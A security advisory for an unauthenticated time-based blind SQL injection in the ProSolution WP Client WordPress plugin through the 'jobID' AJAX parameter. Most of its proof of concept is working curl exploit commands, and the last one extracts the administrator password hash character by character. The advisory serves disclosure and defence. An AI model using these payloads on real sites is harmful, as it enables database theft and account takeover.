ProSolution WP Client < 2.0.6 – Unauthenticated Blind SQLi via 'jobID' Parameter | CVE 2026-19053

Description

The plugin does not sanitise and escape a parameter before using it in a SQL statement reachable by unauthenticated visitors, leading to a blind SQL injection.

Proof of Concept

Prerequisites, as realistic admin actions on the target site:

1. Install and activate ProSolution WP Client 2.0.5 or earlier.
2. In the plugin's API settings, enter the API URL, user and password, so the job portal renders instead of the misconfiguration notice.
3. In the plugin's frontend settings, turn on Recruitment mode.
4. Publish a page containing the plugin's job portal shortcode. The plugin creates one automatically when it is activated.

No job records need to exist, because the vulnerable query runs whether or not it matches a row. The attacker is unauthenticated and sends no cookies.

1. Read the nonce the plugin publishes to anonymous visitors on the job-portal page:

curl -s 'https://victim.example/prosolwpclientfrontend/' | grep -o '"nonce":"[a-f0-9]*"'

2. Send a request whose injected condition is false. The response returns immediately:

curl -sS -o /dev/null -w '%{http_code} %{time_total}\n' \
  --data-urlencode 'action=proSol_applicationSubmitProcess' \
  --data-urlencode 'security=PUBLIC_NONCE' \
  --data-urlencode 'jobID=0 OR IF(1=0,SLEEP(2),0)' \
  'https://victim.example/wp-admin/admin-ajax.php'

3. Send the same request with a condition that is true. The response is delayed by two seconds, giving a boolean oracle:

curl -sS -o /dev/null -w '%{http_code} %{time_total}\n' \
  --data-urlencode 'action=proSol_applicationSubmitProcess' \
  --data-urlencode 'security=PUBLIC_NONCE' \
  --data-urlencode 'jobID=0 OR IF(ASCII(SUBSTRING(DATABASE(),1,1))=100,SLEEP(2),0)' \
  'https://victim.example/wp-admin/admin-ajax.php'

4. The same oracle reads arbitrary data. This request is true when the first character of the administrator's password hash is a dollar sign:

curl -sS -o /dev/null -w '%{http_code} %{time_total}\n' \
  --data-urlencode 'action=proSol_applicationSubmitProcess' \
  --data-urlencode 'security=PUBLIC_NONCE' \
  --data-urlencode 'jobID=0 OR IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(2),0)' \
  'https://victim.example/wp-admin/admin-ajax.php'

Expected result: every request returns HTTP 200 with the same validation-error JSON body, and only the elapsed time differs. Iterating step 4 over character positions extracts anything the WordPress database account can read. The injected value sits in an unquoted numeric position, so no quote character is needed and WordPress's request slashing does not interfere.